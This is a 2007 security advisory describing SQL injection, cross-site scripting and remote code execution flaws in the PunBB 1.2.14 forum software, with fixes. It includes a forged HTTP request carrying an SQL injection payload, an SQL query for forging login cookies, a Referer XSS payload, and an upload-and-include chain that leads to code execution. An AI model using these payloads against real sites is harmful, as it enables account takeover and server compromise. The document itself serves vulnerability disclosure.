Title:    PunBB <= 1.2.14 Multiple Vulnerabilities
      Author:    DarkFig < gmdarkfig (at) gmail (dot) com >
  Written on:    2007/04/08
 Released on:    2007/04/11
  Risk level:    High
         URL:    http://www.acid-root.new.fr/advisories/13070411.txt
     Summary:    SQL Injection, Cross site scripting, Code execution
    Solution:    A new version of PunBB (1.2.15) has been released.



-=[ DESCRIPTION ]

  PunBB is a fast and lightweight PHP-powered discussion board. It is
released under the GNU General Public License. Its primary goals are
to be faster, smaller and less graphically intensive as compared to
other discussion boards. PunBB has fewer features than many other
discussion boards, but is generally faster and outputs smaller,
semantically correct XHTML-compliant pages.



-=[ VULN #1 ]

Risk level: Medium
      Type: SQL Injection
Conditions: PHP <= 4.4.2 or PHP <= 5.1.3
            register_globals=On
            ini_get() problem

  The "search.php" file contains the following php code:

 49| if (isset($_GET['action']) || isset($_GET['search_id']))
   | [...]
 54| if (isset($search_id)) unset($search_id);
 55|
 56| // If a search_id was supplied
 57| if (isset($_GET['search_id']))
 58| {
 59|     $search_id = intval($_GET['search_id']);
 60|     if ($search_id < 1)
 61|         message($lang_common['Bad request']);
 62| }
   | [...]
100| if (isset($search_id))
104| $result = $db->query('SELECT search_data FROM '.$db->prefix
   | .'search_cache WHERE id='.$search_id.' AND ident=\''
   | .$db->escape($ident).'\'') or [...]

  When I did see this code, I thought that there was an SQL Injection with
the Zend_Hash_Del_Key_Or_Index vulnerability and register_globals=On.
But let's see another file, the "include/common.php" file contains
the following code:

39| // Reverse the effect of register_globals
40| if (@ini_get('register_globals'))
41|	unregister_globals();

  If ini_get('register_globals') returns TRUE, the unregister_globals()
function is called. The "@" has been used if an error occured (Warning..),
because on many servers this function is disabled for security reasons.
It's the case on my server, if I remove @, I obtain this :

Warning: ini_get() has been disabled for security reasons in [...]

  In this case, ini_get('register_globals') returns FALSE even if
register_globals=On, so unregister_globals() isn't called. The
unregister_globals() functions contains the following code:

1037| function unregister_globals()
1038| {
1039| 	// Prevent script.php?GLOBALS[foo]=bar
1040| 	if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS']))
1041| 		exit('bip bip biiiiiiiip');
1042| 	
1043| 	// Variables that shouldn't be unset
1044| 	$no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE',
    |   '_REQUEST', '_SERVER', '_ENV', '_FILES');
1045|
1046| 	// Remove elements in $GLOBALS that are present in any of
    |   the superglobals
1047|	$input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV,
    |   $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
1048|	foreach ($input as $k => $v)
1049|	{
1050|		if (!in_array($k, $no_unset) && isset($GLOBALS[$k]))
1051|		{
1052|	           unset($GLOBALS[$k]);
1053|		   unset($GLOBALS[$k]); // zend_hash_del_key_or_index protection
1054| 		}
1055| 	}
1056| }

  If register_globals=On and if there is a problem (see [1] / [2] for
example) concerning the ini_get() function, there is an SQL Injection
(with the Zend_Hash_Del_Key_Or_Index vulnerability). The attacker will
forge an HTTP packet which looks like this:

POST /punbb1-2-14/search.php?action=show_new HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Cookie: punbb_cookie=<thecookiehere>\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 55\r\n\r\n
search_id=-1%20OR%201%3D1%23&1986084953=1&-1234899993=1\r\n\r\n

  After getting the password (hashed), you don't need to break it. As
Nms (see [3]) said, it's easy to forge a cookie. Let's see the
check_cookie() function:

39| if (isset($_COOKIE[$cookie_name]))
40| list($cookie['user_id'], $cookie['password_hash']) =
  | @unserialize($_COOKIE[$cookie_name]);
  | [...]
49| if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) !==
  | $cookie['password_hash'])

  The $cookie_seed value is stored in the "config.php" file, but we
can retrieve it with an SQL request (with the SQL Injection). The hash
stored in the cookie ($cookie['password_hash']) looks like this:

mysql> SELECT MD5(
    -> CONCAT(
    -> SUBSTR(
    -> MD5(
    -> /* $cookie_seed value */
    -> (SELECT registered FROM users WHERE LENGTH(registered)=10
    -> ORDER BY registered LIMIT 1)),-8),
    -> /* The hashed password */
    -> (SELECT password FROM users WHERE id=<user_id>)))
    -> /* Ouput -> f4684bb1418c241992c6b8f9d70a4edb */;

  The solution is quite simple, in "include/common.php", remove the
condition ("if(ini_get...") and even if ini_get('register_globals')
returns FALSE, apply the unregister_globals() function.



-=[ VULN #2 ]

Risk level: Low
      Type: Cross Site Scripting
Conditions: none

  In the "misc.php" file the "Referer" header isn't properly filtered
before being used. The file contains the following code:

128| $redirect_url = (isset($_SERVER['HTTP_REFERER']) &&
   | preg_match('#^'.preg_quote($pun_config['o_base_url']).'/(.*?)\.php#i',
   | $_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : 'index.php';
   | [...]
146| <input type="hidden" name="redirect_url" value="
   | <?php echo $redirect_url ?>" />

  This can lead to cross site scripting attacks, for example send this
HTTP packet (with a valid email id):

GET http://localhost/punbb1-2-14/misc.php?email=3 HTTP/1.1\r\n
Host: localhost\r\n
Referer: http://localhost/punbb1-2-14/misc.php?email=3"><script>alert(1)</script>\r\n
Connection: keep-alive\r\n
Cookie: punbb_cookie=<thecookie>\r\n\r\n

  If the attacker knows how to use Ajax, it's quite easy to exploit (with
setRequestHeader). But let's see how this can be used...



-=[ VULN #3 ]

Risk level: High
      Type: Code execution
Conditions: none

    With punBB an XSS can lead to ... php code execution ! We can
use the 'Referer' XSS to lead this attack. There is also another XSS
in the admin pannel . When we add a category (admin_categories.php)
like '<script>alert(1)</script>', the code is executed when we wanna
remove the created category. Now, serious things begin ... The script
"footer.php" contains the following code:

136| $tpl_temp = trim(ob_get_contents());
137| $tpl_main = str_replace('<pun_footer>', $tpl_temp, $tpl_main);
138| ob_end_clean();
   | [...]
143| while (preg_match('#<pun_include "([^/\\\\]*?)">#', $tpl_main, $cur_include))
144| {
145| 	if (!file_exists(PUN_ROOT.'include/user/'.$cur_include[1]))
146| 	    error('[...]');
147| 	
148| 	ob_start();
149| 	include PUN_ROOT.'include/user/'.$cur_include[1];
150| 	$tpl_temp = ob_get_contents();
151| 	$tpl_main = str_replace($cur_include[0], $tpl_temp, $tpl_main);
152|     ob_end_clean();
153| }

  So if the content of the page contains '<pun_include "file.php"', if
the file is situated in 'include/user/', the file will be include. We
can't use \\ or /, but it's not enough protected. With the
"admin_options.php" file, we can change the avatars directory. Let's
change this parameter to "include/user". By now when a user will upload a
file, the file will be uploaded in "include/user". If the user uploads a
fake JPG file (which contains php code) , the file will be situated in
"include/user". Now the attacker have to include the uploaded file. He
will execute the php code with the XSS (<pun_include "my_id.jpg">). An
exploit has been released [4].



-=[ LINKS ]

[1] Warning: ini_get() has been disabled for security reasons
  http://www.google.fr/search?q=warning%3A+ini_get+has+been

[2] ini_get returns values from other vservers
  http://bugs.php.net/bug.php?id=21874

[3] PunBB <= 1.2.13 Multiple Vulnerabilities
  http://wargan.org/index.php/2006/10/29/4-punbb-1213-multiple-vulnerabilities

[4] PunBB <= 1.2.14 Remote Code Execution Exploit
  http://www.acid-root.new.fr/poc/29070411.txt

[5] Related fixes
  http://dev.punbb.org/changeset/933
  http://dev.punbb.org/changeset/934
  http://dev.punbb.org/changeset/937
  http://dev.punbb.org/changeset/938


// Greetz: ddx39, lorenzo, sparah, romano